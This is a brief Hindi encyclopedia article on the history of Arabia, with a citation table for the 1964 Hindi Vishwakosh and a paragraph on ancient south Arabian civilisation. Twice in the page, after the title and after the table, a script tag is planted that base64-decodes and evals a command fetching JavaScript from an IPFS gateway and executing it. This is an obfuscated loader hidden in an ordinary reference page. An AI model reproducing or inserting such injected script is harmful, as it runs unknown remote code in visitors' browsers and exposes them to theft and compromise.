अरब का इतिहास
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अरब का इतिहास
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 1 |
पृष्ठ संख्या | 216 |
भाषा | हिन्दी देवनागरी |
संपादक | सुधाकर पाण्डेय |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1964 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | डॉ. राधिकानारयण माथुर |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अरब का इतिहास अरब के अंतर्गत विविध प्रादेशिक इकाइयों में यमन, हेजाज़, ओमान, हज़मौत, नज्द, हसा और हिरा मुख्य हैं। 19वीं शताब्दी में दक्षिणी अरब से जो प्राचीन शिलालेख प्राप्त हुए हैं उनके अनुसार हज़रत ईसा से कम से कम एक हजार वर्ष पहले अरब में एक ऊँचे दरजे की सभ्यता विद्यमान थी। प्राचीन असूरी शिलालेखों, इंजील के पुराने अहदनामे और प्राचीन ग्रंथों से भी इसकी पुष्टि होती है। अरब इतिहास के सभी विशेषज्ञ इस बात से सहमत हैं।
टीका टिप्पणी और संदर्भ